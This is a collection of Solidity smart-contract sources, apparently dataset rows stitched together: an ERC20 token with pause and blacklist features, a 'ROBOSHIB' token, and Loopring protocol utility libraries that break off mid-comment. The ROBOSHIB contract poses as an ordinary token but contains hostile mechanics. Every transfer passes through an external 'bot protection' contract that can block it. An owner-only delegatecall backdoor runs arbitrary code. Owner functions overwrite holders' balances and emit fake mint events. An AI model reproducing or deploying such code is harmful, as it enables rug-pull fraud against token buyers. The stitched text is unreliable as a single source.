* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BeshareToken is ERC20, Pausable, Ownable {
event RegisterBlacklist(address indexed account);
event UnregisterBlacklist(address indexed account);
mapping (address => bool) private blacklist;
constructor (
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
function burn(address account, uint256 amount) public onlyOwner {
_burn(account, amount);
}
function isBlacklist(address account) public view returns (bool) {
return blacklist[account];
}
function registerBlacklist(address account) onlyOwner public {
blacklist[account] = true;
emit RegisterBlacklist(account);
}
function unregisterBlacklist(address account) onlyOwner public {
blacklist[account] = false;
emit UnregisterBlacklist(account);
}
function reclaimToken(address tokenContractAddress) public onlyOwner {
ERC20 token = ERC20(tokenContractAddress);
uint256 balance = token.balanceOf(address(this));
token.transfer(owner(), balance);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "BeshareToken: token transfer while paused");
require(!isBlacklist(from) && !isBlacklist(to), "BeshareToken: This is a blacklisted address");
}
} | True | [
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//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
// Uses Ferrum Launch Protection System
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ROBOSHIB is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000;
string public name = "ROBOSHIB";
string public symbol = "ROBOSHIB";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedEther, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | True | [
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/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.19;
/// @title Utility Functions for uint8
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c6ada9a8a1aaafa7a8a186aaa9a9b6b4afa8a1e8a9b4a1">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="791d1817101c1539151616090b10171e57160b1e">[email protected]</a>>.
library MathUint8 {
function xorReduce(
uint8[] arr,
uint len
)
internal
pure
returns (uint8 res)
{
res = arr[0];
for (uint i = 1; i < len; i++) {
res ^= arr[i];
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Utility Functions for uint
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="2347424d4a464f634f4c4c53514a4d440d4c5144">[email protected]</a>>
library MathUint {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function tolerantSub(uint a, uint b) internal pure returns (uint c) {
return (a >= b) ? a - b : 0;
}
/// @dev calculate the square of Coefficient of Variation (CV)
/// https://en.wikipedia.org/wiki/Coefficient_of_variation
function cvsquare(
uint[] arr,
uint scale
)
internal
pure
returns (uint)
{
uint len = arr.length;
require(len > 1);
require(scale > 0);
uint avg = 0;
for (uint i = 0; i < len; i++) {
avg += arr[i];
}
avg = avg / len;
if (avg == 0) {
return 0;
}
uint cvs = 0;
uint s;
uint item;
for (i = 0; i < len; i++) {
item = arr[i];
s = item > avg ? item - avg : avg - item;
cvs += mul(s, s);
}
return ((mul(mul(cvs, scale), scale) / avg) / avg) / (len - 1);
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Utility Functions for byte32
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="066d6968616a6f676861466a696976746f686128697461">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="cca8ada2a5a9a08ca0a3a3bcbea5a2abe2a3beab">[email protected]</a>>.
library MathBytes32 {
function xorReduce(
bytes32[] arr,
uint len
)
internal
pure
returns (bytes32 res)
{
res = arr[0];
for (uint i = 1; i < len; i++) {
res ^= arr[i];
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8de9ece3e4e8e1cde1e2e2fdffe4e3eaa3e2ffea">[email protected]</a>>
contract ERC20 {
uint public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) view public returns (uint256);
function allowance(address owner, address spender) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Loopring Token Exchange Protocol Contract Interface
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7317121d1a161f331f1c1c03011a1d145d1c0114">[email protected]</a>>
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="264d4948414a4f474841664a494956544f484108495441">[email protected]</a>>
contract LoopringProtocol {
////////////////////////////////////////////////////////////////////////////
/// Constants ///
////////////////////////////////////////////////////////////////////////////
uint8 public constant MARGIN_SPLIT_PERCENTAGE_BASE = 100;
////////////////////////////////////////////////////////////////////////////
/// Events ///
////////////////////////////////////////////////////////////////////////////
/// @dev Event to emit if a ring is successfully mined.
/// _amountsList is an array of:
/// [_amountS, _amountB, _lrcReward, _lrcFee, splitS, splitB].
event RingMined(
uint _ringIndex,
bytes32 indexed _ringHash,
address _miner,
address _feeRecipient,
bytes32[] _orderHashList,
uint[6][] _amountsList
);
event OrderCancelled(
bytes32 indexed _orderHash,
uint _amountCancelled
);
event AllOrdersCancelled(
address indexed _address,
uint _cutoff
);
event OrdersCancelled(
address indexed _address,
address _token1,
address _token2,
uint _cutoff
);
////////////////////////////////////////////////////////////////////////////
/// Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Cancel a order. cancel amount(amountS or amountB) can be specified
/// in orderValues.
/// @param addresses owner, tokenS, tokenB, authAddr
/// @param orderValues amountS, amountB, validSince (second),
/// validUntil (second), lrcFee, walletId, and
/// cancelAmount.
/// @param buyNoMoreThanAmountB -
/// This indicates when a order should be considered
/// as 'completely filled'.
/// @param marginSplitPercentage -
/// Percentage of margin split to share with miner.
/// @param v Order ECDSA signature parameter v.
/// @param r Order ECDSA signature parameters r.
/// @param s Order ECDSA signature parameters s.
function cancelOrder(
address[4] addresses,
uint[7] orderValues,
bool buyNoMoreThanAmountB,
uint8 marginSplitPercentage,
uint8 v,
bytes32 r,
bytes32 s
) external;
/// @dev Set a cutoff timestamp to invalidate all orders whose timestamp
/// is smaller than or equal to the new value of the address's cutoff
/// timestamp, for a specific trading pair.
/// @param cutoff The cutoff timestamp, will default to `block.timestamp`
/// if it is 0.
function cancelAllOrdersByTradingPair(
address token1,
address token2,
uint cutoff
) external;
/// @dev Set a cutoff timestamp to invalidate all orders whose timestamp
/// is smaller than or equal to the new value of the address's cutoff
/// timestamp.
/// @param cutoff The cutoff timestamp, will default to `block.timestamp`
/// if it is 0.
function cancelAllOrders(uint cutoff) external;
/// @dev Submit a order-ring for validation and settlement.
/// @param addressList List of each order's owner, tokenS, and authAddr.
/// Note that next order's `tokenS` equals this order's
/// `tokenB`.
/// @param uintArgsList List of uint-type arguments in this order:
/// amountS, amountB, validSince (second),
/// validUntil (second), lrcFee, rateAmountS, and walletId.
/// @param uint8ArgsList -
/// List of unit8-type arguments, in this order:
/// marginSplitPercentageList.
/// @param buyNoMoreThanAmountBList -
/// This indicates when a order should be considered
/// @param vList List of v for each order. This list is 1-larger than
/// the previous lists, with the last element being the
/// v value of the ring signature.
/// @param rList List of r for each order. This list is 1-larger than
/// the previous lists, with the last element being the
/// r value of the ring signature.
/// @param sList List of s for each order. This list is 1-larger than
/// the previous lists, with the last element being the
/// s value of the ring signature.
/// @param minerId The address pair that miner registered in NameRegistry.
/// The address pair contains a signer address and a fee
/// recipient address.
/// The signer address is used for sign this tx.
/// The Recipient address for fee collection. If this is
/// '0x0', all fees will be paid to the address who had
/// signed this transaction, not `msg.sender`. Noted if
/// LRC need to be paid back to order owner as the result
/// of fee selection model, LRC will also be sent from
/// this address.
/// @param feeSelections -
/// Bits to indicate fee selections. `1` represents margin
/// split and `0` represents LRC as fee.
function submitRing(
address[3][] addressList,
uint[7][] uintArgsList,
uint8[1][] uint8ArgsList,
bool[] buyNoMoreThanAmountBList,
uint8[] vList,
bytes32[] rList,
bytes32[] sList,
uint minerId,
uint16 feeSelections
) public;
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Ethereum Address Register Contract
/// @dev This contract maintains a name service for addresses and miner.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b6ddd9d8d1dadfd7d8d1f6dad9d9c6c4dfd8d198d9c4d1">[email protected]</a>>,
